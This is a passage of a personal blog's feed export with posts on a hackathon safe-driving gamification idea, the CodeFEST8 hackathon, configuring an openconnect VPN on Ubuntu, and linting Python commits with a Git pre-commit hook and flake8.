src=\"https:\/\/www.destatis.de\/DE\/ZahlenFakten\/Wirtschaftsbereiche\/TransportVerkehr\/_Grafik\/Verkehrsunfaelle_Verunglueckte.png?__blob=poster\"><\/p>\n<p>The need for advanced safety training among young people is obvious. However, <strong>people around the age of 50<\/strong> are also a huge risk group. My assumption is that they get caught in their habits and easily become absent-minded when driving a known track during their everyday life. They might tend to ignore risk points simply because they are used to passing by them.<\/p>\n<p>Analysis of a car's sensor and GPS data could help in discovering those risk-points. Through interaction with <strong>GDOS<\/strong> (<em>Gamified Driving Optimization System<\/em>) safe driving behaviour in these points might then be rewarded. In case the driver has been speeding too much in a certain point or another insecure scenario, the system will not distract the driver in any way while he is still on the road. After ending his tour, he will be notified on the EXP points he has missed out on and why.<\/p>\n<p>That's the advantage of a non-interfering system: The driver is not distracted. There is no use in some kind of interaction with the driver <em>while<\/em> he is driving. This might annoy the driver and in the worst case even lead to an accident. The spot where we want to raise the driver's motivation to continue is right after the tour. He is able to <em>sync<\/em> his data with a smartphone app and can thus share his progress. It simultaneously is uploaded to a server where his stats are stored.<\/p>\n<h4>How Can This Be Applied Further?<\/h4>\n<p>There is a vast amount of usage scenarios outside the car. Cooperations with retail might bring additional motivation, e.g. a coupon for a free coffee at a cooperating gas station once you reach a high-enough level. It's always nice to have some form of <strong>physical reward<\/strong> for your efforts. Futhermore, bigger partners like <em>insurance companies<\/em> can profit. Of course with some further security measures implemented, the system might be used to calculate insurance contributions. You've been driving safely for the last two years? Here, <strong>have a discount<\/strong>. Or even better, <strong>get your premium lowered!<\/strong>. This might or might not be a suitable concept. As marketing aspects weren't the hackathon's focus, we're always open for new ideas here. :)<\/p>\n<h4>Chances for the Future?<\/h4>\n<p>I hope so. We put a lot of heart blood into there. I don't want to reveal too much here, but some people from the jury showed strong interest in the project. We'll see what the future holds. Before the hackathon I wasn't sure whether working for the automotive industry would be something I want to do in my life. Now hoever, I definitely see it as an option. I truly hope to be able to post an update on the whole matter again some day!<\/p>\n<p><strong>Edit:<\/strong> We reached out multiple times, also to the  contact info that has been given to us. No answers. I guess the people from Skoda and Volkswagen were just acting nice and supportive as long as there were cameras. I'm not mad, just disappointed. This would've had some good potential.<\/p>","category":{"@attributes":{"term":"Challenges"}}},{"title":"Some thoughts on the CodeFEST8 in Dresden","link":{"@attributes":{"href":"https:\/\/spoons.fyi\/2015\/05\/12\/some-thoughts-on-the-codefest8-in-dresden.html","rel":"alternate"}},"published":"2015-05-12T00:00:00+02:00","updated":"2015-05-12T00:00:00+02:00","author":{"name":{}},"id":"tag:spoons.fyi,2015-05-12:\/2015\/05\/12\/some-thoughts-on-the-codefest8-in-dresden.html","summary":"<div class=\"pswp-gallery single-image\" data-gallery-id=\"gallery-0\">\n    <a href=\"\/blog\/some-thoughts-codefest8-dresden\/codefest8.gif\" data-pswp-width=\"468\" data-pswp-height=\"129\" target=\"_blank\">\n        <img src=\"\/blog\/some-thoughts-codefest8-dresden\/codefest8.gif\" alt=\"CodeFEST8 Logo\" class=\"\" \/>\n    <\/a>\n<\/div>\n<h4>What is it?<\/h4>\n<p>The <a href=\"http:\/\/www.group-it.volkswagenag.com\/codefest\/codefest.html\">CodeFEST<\/a> is a hackathon held by Volkswagen. Basically, you're joining a team and with the help of some mentors you tickle your brain for 26 hours of pure work until a great, innovative idea comes out. After reaching the deadline, you give a short five minute \u2026<\/p>","content":"<div class=\"pswp-gallery single-image\" data-gallery-id=\"gallery-0\">\n    <a href=\"\/blog\/some-thoughts-codefest8-dresden\/codefest8.gif\" data-pswp-width=\"468\" data-pswp-height=\"129\" target=\"_blank\">\n        <img src=\"\/blog\/some-thoughts-codefest8-dresden\/codefest8.gif\" alt=\"CodeFEST8 Logo\" class=\"\" \/>\n    <\/a>\n<\/div>\n<h4>What is it?<\/h4>\n<p>The <a href=\"http:\/\/www.group-it.volkswagenag.com\/codefest\/codefest.html\">CodeFEST<\/a> is a hackathon held by Volkswagen. Basically, you're joining a team and with the help of some mentors you tickle your brain for 26 hours of pure work until a great, innovative idea comes out. After reaching the deadline, you give a short five minute presentation about the problem, your solution, some technical details and marketing aspects. Bonus points for a live demo. This year's motto was \"Mobilit\u00e4t der Zukunft\" - <em>mobility of the future<\/em>.<\/p>\n<h4>But what for?<\/h4>\n<p>A jury of kinda-high-positioned employees evaluate your idea (and your personality) by bombarding you with discerning questions. Based on those information, they make out a regional winner. They are invited to an all-expenses trip to the <a href=\"http:\/\/www.cebit.de\/home\">CeBIT in Hannover<\/a> to present their idea in a 60 second elevator pitch on stage. If you can also convice there and your team is placed among the first three, you'll get some price money - and more importantly - the chance to professionally realize your project in cooperation with an automotive company.<\/p>\n<h4>The spirit of innovation<\/h4>\n<p>When we got together and entered the competition, we just wanted to have fun. Neither did we have a specific idea, nor did we care about the price money - or even getting beyond the first stage. My intention when entering was to re-embrace the innovative and getting-things-done vibe that I already had experienced in projects with friends in the past. And it worked! Again! We found a good-enough idea in the first brainstorming when the other teams were still getting to know each other. After we welcomed two new people (among them a remarkably talented first-semester student), the idea evolved from good-enough to promising.<\/p>\n<p>In the next day's first hours - after a quick sponsored breakfast - we developed a small roadmap and the system's architecture. Suddenly, the kinda crazy idea became feasible. The doodles on our board and great communication gave us a good overview on what things have to be done how. Solid programming skills in Python, PHP, MySQL and front-end design did the rest. In the end, there was even enough time to spontaneously conceive and develop a Windows Phone app in C# and make enough progress to embed it into our presentation.<\/p>\n<h4>The hidden value<\/h4>\n<p>The bare amount of code we delivered in only 26 hours was amazing. At the deadline our team of six people was able to develop:<\/p>\n<ul>\n<li>A generator for simulating a car's sensor system and real-time data output<\/li>\n<li>A working backend analyzing the sensor data and handling different statistics<\/li>\n<li>A working frontend with stat visualization and user account management<\/li>\n<li>A basic Windowsphone app as PoC for live data sync<\/li>\n<li>Loads of content to fill the framework for demo purposes<\/li>\n<\/ul>\n<p>However, I'm even more proud to see how every team member freely contributed their ideas. Due to the time pressure, everyone quickly realized that not all of their ideas could be put into the project and it was amazing to see how consequent we were able to separate the necessary and the optional.<\/p>\n<p>So personally, my most valuable experience was the joy of solving a serious problem together with a productive team. Also, staying awake for about 34 hours and the following satisfaction of winning is something I am not going to forget for the rest of my career and life. Not to mention the awesome feeling of taking a hot shower after an exhausting competition.<\/p>\n<h4>How does it go on?<\/h4>\n<p>At 17th March our team will leave for Hannover. The day after, we will get our stage time to do the pitch and be judged by the jury. They will announce the first three winner teams. After that, there will be a small aftershow party and plenty of interesting conversations with other amazing people. I hope to make some promising contacts and make our idea tempting for the business people.<\/p>\n<p>No matter how this turns out - I will be in for CodeFEST9 in 2016. Until then, there are plenty more hackathons to visit and report from.<\/p>","category":{"@attributes":{"term":"Challenges"}}},{"title":"VPN with openconnect in Ubuntu 14.10","link":{"@attributes":{"href":"https:\/\/spoons.fyi\/2015\/05\/12\/vpn-with-openconnect-in-ubuntu-1410.html","rel":"alternate"}},"published":"2015-05-12T00:00:00+02:00","updated":"2015-05-12T00:00:00+02:00","author":{"name":{}},"id":"tag:spoons.fyi,2015-05-12:\/2015\/05\/12\/vpn-with-openconnect-in-ubuntu-1410.html","summary":"<p>Many services that my university offers have one requirement: to be in a trusted network. That is either eduroam or any network where you can connect through a VPN tunnel. As sad as it is, I don't have an eduroam router next to my home. However, I ran into some \u2026<\/p>","content":"<p>Many services that my university offers have one requirement: to be in a trusted network. That is either eduroam or any network where you can connect through a VPN tunnel. As sad as it is, I don't have an eduroam router next to my home. However, I ran into some minor problems when trying to create a VPN connection with network-manager.<\/p>\n<h2>The Good<\/h2>\n<p>After installing the necessary dependencies <code>network-manager-openconnect<\/code> and <code>network-manager-openconnect-gnome<\/code> there was a rather visual problem: When trying to create a VPN connection, network-manager would just present me with the option to <em>Import from File...<\/em>. Not a glimpse of my beloved <em>Cisco AnyConnect Compatible VPN (openconnect)<\/em> option. So what do?<\/p>\n<p>The fix is very easy. There seems to be a minor rights issue where only superusers can create openconnect VPNs. So simply fire up a shell and enter<\/p>\n<div class=\"highlight\"><pre><span><\/span><code>gksudo<span class=\"w\"> <\/span>nm-connection-editor\n<\/code><\/pre><\/div>\n\n<p>After entering your sudo password you'll be rewarded with a dialog listing all your network connections. Press <strong>Add<\/strong> to the right and there you'll find the option for an openconnect VPN connection. Enter your credentials and link the CA cert. Don't forget to enable <em>All users may connect to this network<\/em> in the \"General\" tab. That way you'll be able to use the connection as a non-superuser.<\/p>\n<p>If you're from the TU Dresden, use the following data:<\/p>\n<p><strong>Gateway:<\/strong> vpn2.zih.tu-dresden.de\n<strong>CA Certificate:<\/strong> Download <a href=\"https:\/\/pki.pca.dfn.de\/tu-dresden-ca\/pub\/cacert\/chain.txt\">here<\/a> (<em>Right click - Save link as&lt;<\/em> tud-cacert.pem)<\/p>\n<p>Leave the rest as it is and connect through your network manager as usual. Enter your ZIH login and password and you're in! Speaking of, the ZIH also has <a href=\"https:\/\/tu-dresden.de\/die_tu_dresden\/zentrale_einrichtungen\/zih\/dienste\/datennetz_dienste\/vpn\/\">a page on openconnect<\/a>. But it's only available in German and doesn't consider the above problem with network-manager in Ubuntu 14.10.<\/p>\n<h2>The Bad<\/h2>\n<p><em>Why not use OpenVPN?<\/em> - Well, Cisco AnyConnect servers are not OpenVPN servers. Incompatible.\n<em>What about vpnc?<\/em> - Also incompatible. That's something different. Either openconnect or ...<\/p>\n<h2>The Ugly<\/h2>\n<p>Cisco AnyConnect! I mean, the TU recommends it so what could possibly go wrong? There is even a Linux version!<\/p>\n<p>After the (refreshingly easy) installation I continue to start up the UI with<\/p>\n<div class=\"highlight\"><pre><span><\/span><code>.\/anyconnect-3.1.05182\/vpn\/vpnui\n<\/code><\/pre><\/div>\n\n<p>and when you try to login you're greeted with the error message<\/p>\n<div class=\"pswp-gallery single-image\" data-gallery-id=\"gallery-0\">\n    <a href=\"\/blog\/vpn-openconnect-ubuntu\/anyconnect-error.png\" data-pswp-width=\"422\" data-pswp-height=\"173\" target=\"_blank\">\n        <img src=\"\/blog\/vpn-openconnect-ubuntu\/anyconnect-error.png\" alt=\"Dafuq, Cisco?\" class=\"\" \/>\n    <\/a>\n<\/div>\n<p><em>\"A VPN CONNECTION CANNOT BE WHAT??\"<\/em> - I google'd, duckduckgo'd and even bing'd but there were no solutions in sight. I got fed up and decided that the crappy Linux port is not worth debugging. That's how I ended up with openconnect. To this date I cannot offer any solution to the notorious <em>file move error<\/em> of the Cisco AnyConnect Secure Mobility Client. I can just tell everyone reading this that openconnect is the alternative you should consider.<\/p>","category":{"@attributes":{"term":"Software"}}},{"title":"Code Verification with Git Hooks and Flake8","link":{"@attributes":{"href":"https:\/\/spoons.fyi\/2015\/05\/02\/code-verification-with-git-hooks-and-flake8.html","rel":"alternate"}},"published":"2015-05-02T00:00:00+02:00","updated":"2015-05-02T00:00:00+02:00","author":{"name":{}},"id":"tag:spoons.fyi,2015-05-02:\/2015\/05\/02\/code-verification-with-git-hooks-and-flake8.html","summary":"<p>We all have that special someone in our life. Someone who dares to commit and push something like this into the master-branch:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code><span class=\"kn\">import<\/span> <span class=\"nn\">math<\/span><span class=\"o\">,<\/span> <span class=\"nn\">os<\/span><span class=\"o\">,<\/span> <span class=\"nn\">sys<\/span>\n\n<span class=\"k\">def<\/span> <span class=\"nf\">test_function<\/span><span class=\"p\">(<\/span><span class=\"n\">one<\/span><span class=\"p\">,<\/span> <span class=\"n\">two<\/span><span class=\"p\">,<\/span>\n    <span class=\"n\">three<\/span><span class=\"p\">,<\/span> <span class=\"n\">four<\/span><span class=\"p\">,<\/span> <span class=\"n\">five<\/span><span class=\"p\">):<\/span>\n    <span class=\"kn\">from<\/span> <span class=\"nn\">test.utils<\/span> <span class=\"kn\">import<\/span> <span class=\"o\">*<\/span>\n    <span class=\"nb\">print<\/span> <span class=\"n\">x<\/span><span class=\"p\">;<\/span> <span class=\"nb\">print<\/span> <span class=\"n\">y<\/span>\n    <span class=\"k\">if<\/span> <span class=\"n\">two<\/span><span class=\"o\">==<\/span><span class=\"n\">three<\/span> <span class=\"ow\">and<\/span> <span class=\"p\">(<\/span><span class=\"n\">four<\/span><span class=\"o\">!=<\/span><span class=\"n\">five<\/span> <span class=\"ow\">or<\/span> <span class=\"n\">one<\/span><span class=\"o\">!=<\/span><span class=\"n\">three \u2026<\/span><\/code><\/pre><\/div>","content":"<p>We all have that special someone in our life. Someone who dares to commit and push something like this into the master-branch:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code><span class=\"kn\">import<\/span> <span class=\"nn\">math<\/span><span class=\"o\">,<\/span> <span class=\"nn\">os<\/span><span class=\"o\">,<\/span> <span class=\"nn\">sys<\/span>\n\n<span class=\"k\">def<\/span> <span class=\"nf\">test_function<\/span><span class=\"p\">(<\/span><span class=\"n\">one<\/span><span class=\"p\">,<\/span> <span class=\"n\">two<\/span><span class=\"p\">,<\/span>\n    <span class=\"n\">three<\/span><span class=\"p\">,<\/span> <span class=\"n\">four<\/span><span class=\"p\">,<\/span> <span class=\"n\">five<\/span><span class=\"p\">):<\/span>\n    <span class=\"kn\">from<\/span> <span class=\"nn\">test.utils<\/span> <span class=\"kn\">import<\/span> <span class=\"o\">*<\/span>\n    <span class=\"nb\">print<\/span> <span class=\"n\">x<\/span><span class=\"p\">;<\/span> <span class=\"nb\">print<\/span> <span class=\"n\">y<\/span>\n    <span class=\"k\">if<\/span> <span class=\"n\">two<\/span><span class=\"o\">==<\/span><span class=\"n\">three<\/span> <span class=\"ow\">and<\/span> <span class=\"p\">(<\/span><span class=\"n\">four<\/span><span class=\"o\">!=<\/span><span class=\"n\">five<\/span> <span class=\"ow\">or<\/span> <span class=\"n\">one<\/span><span class=\"o\">!=<\/span><span class=\"n\">three<\/span><span class=\"p\">)<\/span> <span class=\"ow\">and<\/span> <span class=\"p\">(<\/span><span class=\"n\">sqrt<\/span><span class=\"p\">(<\/span><span class=\"n\">four<\/span><span class=\"p\">)<\/span><span class=\"o\">==<\/span><span class=\"n\">two<\/span> <span class=\"ow\">or<\/span> <span class=\"n\">sqrt<\/span><span class=\"p\">(<\/span><span class=\"n\">two<\/span><span class=\"p\">)<\/span><span class=\"o\">==<\/span><span class=\"n\">one<\/span><span class=\"p\">):<\/span>\n        <span class=\"k\">return<\/span> <span class=\"n\">math<\/span><span class=\"o\">.<\/span><span class=\"n\">ldexp<\/span><span class=\"p\">(<\/span> <span class=\"n\">one<\/span><span class=\"p\">,<\/span> <span class=\"n\">two<\/span> <span class=\"p\">)<\/span>\n    <span class=\"k\">else<\/span><span class=\"p\">:<\/span>\n        <span class=\"k\">return<\/span> <span class=\"kc\">None<\/span>\n<\/code><\/pre><\/div>\n\n<p>This code would be accepted by the Python interpreter without hesitation and it will \"work\". However, there are many direct conflicts with the <a href=\"https:\/\/www.python.org\/dev\/peps\/pep-0008\/\">PEP8 guidelines<\/a>. But not only that! Correcting the code with the <code>pep8<\/code> tool won't make it completely nice and clean. For example, PEP8 doesn't care for unused imports, variables or too complex functions. That's what you then use so-called linters for. They analyze your code and look for parts that could potentially or will cause errors.<\/p>\n<p>Now, you can't really expect people who write code like this to also use style-checking tools and linters to validate their code. They'll forget anyways. There should be something sitting in their neck giving them a slight pinch every time they are about to push something bad that would stain my beautiful repository. And that's where <a href=\"http:\/\/git-scm.com\/book\/be\/v2\/Customizing-Git-Git-Hooks\">Git Hooks<\/a> come into play. So off we go!<\/p>\n<h4>What is it?<\/h4>\n<p>Git offers a plethora of hooks. Those are the files located in your <code>.git\/hooks\/<\/code> directory. They are executed every time a certain action is issued. Their usage scenarios are easily understood by their file names. They can contain any kind of code as long as they have a valid <a href=\"http:\/\/en.wikipedia.org\/wiki\/Shebang_(Unix)\">shebang<\/a> and your system knows how to deal with it. Here, we're going to focus on the <em>pre-commit<\/em> hook to prevent messy code from being committed. If there are any mistakes, the commit-process should be aborted and the user should be presented with an output showing the mistakes and their respective line numbers.<\/p>\n<h4>Adding functionality<\/h4>\n<p>For this example - to validate Python code - we'll use the <a href=\"https:\/\/pypi.python.org\/pypi\/flake8\">flake8<\/a> package, which combines the pep8 checker, <a href=\"https:\/\/pypi.python.org\/pypi\/pyflakes\">PyFlakes<\/a> (an awesome linter) and <a href=\"https:\/\/pypi.python.org\/pypi\/mccabe\">Ned's McCabe script<\/a> to calculate a complexity index. For our validation, we'll first open up <code>.git\/hooks\/pre-commit<\/code> and enter:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code><span class=\"ch\">#!\/bin\/sh<\/span>\nflake8<span class=\"w\"> <\/span>.\n<\/code><\/pre><\/div>\n\n<p>Now we just have to make our hook executable and try to commit some ugly code.<\/p>\n<div class=\"highlight\"><pre><span><\/span><code>chmod<span class=\"w\"> <\/span>+x<span class=\"w\"> <\/span>.git\/hooks\/pre-commit\ngit<span class=\"w\"> <\/span>commit<span class=\"w\"> <\/span>test.py<span class=\"w\"> <\/span>-m<span class=\"w\"> <\/span><span class=\"s2\">&quot;This should fail right away&quot;<\/span>\n<\/code><\/pre><\/div>\n\n<p><em>Aaaaand...<\/em> that's it. Seriously. The output for a file that still needs correction at commit (in this example our code above) should look something like this:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code><span class=\"o\">\/<\/span><span class=\"n\">test<\/span><span class=\"o\">.<\/span><span class=\"n\">py<\/span><span class=\"p\">:<\/span><span class=\"mi\">1<\/span><span class=\"p\">:<\/span><span class=\"mi\">1<\/span><span class=\"p\">:<\/span><span class=\"w\"> <\/span><span class=\"n\">F401<\/span><span class=\"w\"> <\/span><span class=\"s1\">&#39;os&#39;<\/span><span class=\"w\"> <\/span><span class=\"n\">imported<\/span><span class=\"w\"> <\/span><span class=\"n\">but<\/span><span class=\"w\"> <\/span><span class=\"n\">unused<\/span>\n<span class=\"o\">\/<\/span><span class=\"n\">test<\/span><span class=\"o\">.<\/span><span class=\"n\">py<\/span><span class=\"p\">:<\/span><span class=\"mi\">1<\/span><span class=\"p\">:<\/span><span class=\"mi\">1<\/span><span class=\"p\">:<\/span><span class=\"w\"> <\/span><span class=\"n\">F401<\/span><span class=\"w\"> <\/span><span class=\"s1\">&#39;sys&#39;<\/span><span class=\"w\"> <\/span><span class=\"n\">imported<\/span><span class=\"w\"> <\/span><span class=\"n\">but<\/span><span class=\"w\"> <\/span><span class=\"n\">unused<\/span>\n<span class=\"o\">\/<\/span><span class=\"n\">test<\/span><span class=\"o\">.<\/span><span class=\"n\">py<\/span><span class=\"p\">:<\/span><span class=\"mi\">1<\/span><span class=\"p\">:<\/span><span class=\"mi\">12<\/span><span class=\"p\">:<\/span><span class=\"w\"> <\/span><span class=\"n\">E401<\/span><span class=\"w\"> <\/span><span class=\"n\">multiple<\/span><span class=\"w\"> <\/span><span class=\"n\">imports<\/span><span class=\"w\"> <\/span><span class=\"n\">on<\/span><span class=\"w\"> <\/span><span class=\"n\">one<\/span><span class=\"w\"> <\/span><span class=\"n\">line<\/span>\n<span class=\"o\">\/<\/span><span class=\"n\">test<\/span><span class=\"o\">.<\/span><span class=\"n\">py<\/span><span class=\"p\">:<\/span><span class=\"mi\">3<\/span><span class=\"p\">:<\/span><span class=\"mi\">1<\/span><span class=\"p\">:<\/span><span class=\"w\"> <\/span><span class=\"n\">E302<\/span><span class=\"w\"> <\/span><span class=\"n\">expected<\/span><span class=\"w\"> <\/span><span class=\"mi\">2<\/span><span class=\"w\"> <\/span><span class=\"n\">blank<\/span><span class=\"w\"> <\/span><span class=\"n\">lines<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"n\">found<\/span><span class=\"w\"> <\/span><span class=\"mi\">1<\/span>\n<span class=\"o\">\/<\/span><span class=\"n\">test<\/span><span class=\"o\">.<\/span><span class=\"n\">py<\/span><span class=\"p\">:<\/span><span class=\"mi\">4<\/span><span class=\"p\">:<\/span><span class=\"mi\">5<\/span><span class=\"p\">:<\/span><span class=\"w\"> <\/span><span class=\"n\">F403<\/span><span class=\"w\"> <\/span><span class=\"s1\">&#39;from test.utils import *&#39;<\/span><span class=\"w\"> <\/span><span class=\"n\">used<\/span><span class=\"p\">;<\/span><span class=\"w\"> <\/span><span class=\"n\">unable<\/span><span class=\"w\"> <\/span><span class=\"n\">to<\/span><span class=\"w\"> <\/span><span class=\"n\">detect<\/span><span class=\"w\"> <\/span><span class=\"n\">undefined<\/span><span class=\"w\"> <\/span><span class=\"n\">names<\/span>\n<span class=\"o\">\/<\/span><span class=\"n\">test<\/span><span class=\"o\">.<\/span><span class=\"n\">py<\/span><span class=\"p\">:<\/span><span class=\"mi\">5<\/span><span class=\"p\">:<\/span><span class=\"mi\">12<\/span><span class=\"p\">:<\/span><span class=\"w\"> <\/span><span class=\"n\">E702<\/span><span class=\"w\"> <\/span><span class=\"n\">multiple<\/span><span class=\"w\"> <\/span><span class=\"n\">statements<\/span><span class=\"w\"> <\/span><span class=\"n\">on<\/span><span class=\"w\"> <\/span><span class=\"n\">one<\/span><span class=\"w\"> <\/span><span class=\"n\">line<\/span><span class=\"w\"> <\/span><span class=\"p\">(<\/span><span class=\"n\">semicolon<\/span><span class=\"p\">)<\/span>\n<span class=\"o\">\/<\/span><span class=\"n\">test<\/span><span class=\"o\">.<\/span><span class=\"n\">py<\/span><span class=\"p\">:<\/span><span class=\"mi\">6<\/span><span class=\"p\">:<\/span><span class=\"mi\">11<\/span><span class=\"p\">:<\/span><span class=\"w\"> <\/span><span class=\"n\">E225<\/span><span class=\"w\"> <\/span><span class=\"n\">missing<\/span><span class=\"w\"> <\/span><span class=\"n\">whitespace<\/span><span class=\"w\"> <\/span><span class=\"n\">around<\/span><span class=\"w\"> <\/span><span class=\"n\">operator<\/span>\n<span class=\"o\">\/<\/span><span class=\"n\">test<\/span><span class=\"o\">.<\/span><span class=\"n\">py<\/span><span class=\"p\">:<\/span><span class=\"mi\">6<\/span><span class=\"p\">:<\/span><span class=\"mi\">28<\/span><span class=\"p\">:<\/span><span class=\"w\"> <\/span><span class=\"n\">E225<\/span><span class=\"w\"> <\/span><span class=\"n\">missing<\/span><span class=\"w\"> <\/span><span class=\"n\">whitespace<\/span><span class=\"w\"> <\/span><span class=\"n\">around<\/span><span class=\"w\"> <\/span><span class=\"n\">operator<\/span>\n<span class=\"o\">\/<\/span><span class=\"n\">test<\/span><span class=\"o\">.<\/span><span class=\"n\">py<\/span><span class=\"p\">:<\/span><span class=\"mi\">6<\/span><span class=\"p\">:<\/span><span class=\"mi\">41<\/span><span class=\"p\">:<\/span><span class=\"w\"> <\/span><span class=\"n\">E225<\/span><span class=\"w\"> <\/span><span class=\"n\">missing<\/span><span class=\"w\"> <\/span><span class=\"n\">whitespace<\/span><span class=\"w\"> <\/span><span class=\"n\">around<\/span><span class=\"w\"> <\/span><span class=\"n\">operator<\/span>\n<span class=\"o\">\/<\/span><span class=\"n\">test<\/span><span class=\"o\">.<\/span><span class=\"n\">py<\/span><span class=\"p\">:<\/span><span class=\"mi\">6<\/span><span class=\"p\">:<\/span><span class=\"mi\">65<\/span><span class=\"p\">:<\/span><span class=\"w\"> <\/span><span class=\"n\">E225<\/span><span class=\"w\"> <\/span><span class=\"n\">missing<\/span><span class=\"w\"> <\/span><span class=\"n\">whitespace<\/span><span class=\"w\"> <\/span><span class=\"n\">around<\/span><span class=\"w\"> <\/span><span class=\"n\">operator<\/span>\n<span class=\"o\">\/<\/span><span class=\"n\">test<\/span><span class=\"o\">.<\/span><span class=\"n\">py<\/span><span class=\"p\">:<\/span><span class=\"mi\">6<\/span><span class=\"p\">:<\/span><span class=\"mi\">80<\/span><span class=\"p\">:<\/span><span class=\"w\"> <\/span><span class=\"n\">E501<\/span><span class=\"w\"> <\/span><span class=\"n\">line<\/span><span class=\"w\"> <\/span><span class=\"n\">too<\/span><span class=\"w\"> <\/span><span class=\"n\">long<\/span><span class=\"w\"> <\/span><span class=\"p\">(<\/span><span class=\"mi\">89<\/span><span class=\"w\"> <\/span><span class=\"o\">&gt;<\/span><span class=\"w\"> <\/span><span class=\"mi\">79<\/span><span class=\"w\"> <\/span><span class=\"n\">characters<\/span><span class=\"p\">)<\/span>\n<span class=\"o\">\/<\/span><span class=\"n\">test<\/span><span class=\"o\">.<\/span><span class=\"n\">py<\/span><span class=\"p\">:<\/span><span class=\"mi\">6<\/span><span class=\"p\">:<\/span><span class=\"mi\">83<\/span><span class=\"p\">:<\/span><span class=\"w\"> <\/span><span class=\"n\">E225<\/span><span class=\"w\"> <\/span><span class=\"n\">missing<\/span><span class=\"w\"> <\/span><span class=\"n\">whitespace<\/span><span class=\"w\"> <\/span><span class=\"n\">around<\/span><span class=\"w\"> <\/span><span class=\"n\">operator<\/span>\n<span class=\"o\">\/<\/span><span class=\"n\">test<\/span><span class=\"o\">.<\/span><span class=\"n\">py<\/span><span class=\"p\">:<\/span><span class=\"mi\">7<\/span><span class=\"p\">:<\/span><span class=\"mi\">27<\/span><span class=\"p\">:<\/span><span class=\"w\"> <\/span><span class=\"n\">E201<\/span><span class=\"w\"> <\/span><span class=\"n\">whitespace<\/span><span class=\"w\"> <\/span><span class=\"n\">after<\/span><span class=\"w\"> <\/span><span class=\"s1\">&#39;(&#39;<\/span>\n<span class=\"o\">\/<\/span><span class=\"n\">test<\/span><span class=\"o\">.<\/span><span class=\"n\">py<\/span><span class=\"p\">:<\/span><span class=\"mi\">7<\/span><span class=\"p\">:<\/span><span class=\"mi\">36<\/span><span class=\"p\">:<\/span><span class=\"w\"> <\/span><span class=\"n\">E202<\/span><span class=\"w\"> <\/span><span class=\"n\">whitespace<\/span><span class=\"w\"> <\/span><span class=\"n\">before<\/span><span class=\"w\"> <\/span><span class=\"s1\">&#39;)&#39;<\/span>\n<\/code><\/pre><\/div>\n\n<p>But not only the mistakes are shown. The commit is also prevented because flake8 creates an output and makes the hook fail, thus making the whole commit fail.<\/p>\n<h4>Portability<\/h4>\n<p>For future use, it should be as easy as possible for other developers to adapt this hook. The best way is to deliver it with the repository and give them a handful of commands (or an automated setup script) doing the work for them. That's why it's a good idea to deliver some kind of <code>pre-commit.sh<\/code> file in your repo and ask the user to force-symlink it to his default hook:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code>ln<span class=\"w\"> <\/span>-sf<span class=\"w\"> <\/span>..\/..\/pre-commit.sh<span class=\"w\"> <\/span>.git\/hooks\/pre-commit\n<\/code><\/pre><\/div>\n\n<p>The <code>-f<\/code> option will ignore the fact that a pre-commit hook already exists in <code>.git\/hooks\/<\/code> and delete its old contents. That's no huge loss, because by default the file is empty. When symlinking it is important to keep in mind that the first path has to be relative to the second one. That's why we're walking back two directories in our first path. Afterwards, the developer just has to make the shellscript executable again (in case it hasn't already been done) and the basic setup is good to go!<\/p>\n<h4>Further thoughts<\/h4>\n<p>Pre-commit hooks especially seem useful when a project grows. You could enforce unittests, style-policies and even automatically deploy once all tests have passed. Also, the hook can look for vulnerable parts in your code, e.g. a file starting with <code>import pdb<\/code> should probably be checked a second time before it goes into production.<\/p>\n<h4>Exceptions<\/h4>\n<p>Let's say you have modeled some bugs with unittests. You fixed one and want to commit your progress, because that one test is passing. But the other one prevents you from doing so, because it makes the whole hook fail every time you want to commit! No worries, just do the following:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code>git<span class=\"w\"> <\/span>commit<span class=\"w\"> <\/span>-a<span class=\"w\"> <\/span>--no-verify<span class=\"w\"> <\/span>-m<span class=\"w\"> <\/span><span class=\"s2\">&quot;not completely verified&quot;<\/span>\n<\/code><\/pre><\/div>\n\n<p>The <code>--no-verify<\/code> flag <a href=\"https:\/\/www.kernel.org\/pub\/software\/scm\/git\/docs\/git-commit.html\">skips the pre-commit hook<\/a>. But you should only tell your messy coworker once he asks you about it. Otherwise he'll only skip verification once he faces a wall of style mistakes.<\/p>\n<h4>Other hooks<\/h4>\n<p>But wait, there's more! This short <a href=\"https:\/\/www.kernel.org\/pub\/software\/scm\/git\/docs\/githooks.html\">overview<\/a> shows what hooks Git offers. There is huge potential in them, as they can also interact with each other and execute different checks. And the fact that they can also hold Python code means that your project could theoretically also manipulate its own hooks. That's where it gets pretty <em>meta<\/em>. For my student job I just started toying around with hook functionality. It's going to be interesting to see, which problems can be solved by them as the project grows and more developers jump on board.<\/p>","category":{"@attributes":{"term":"Software"}}}]}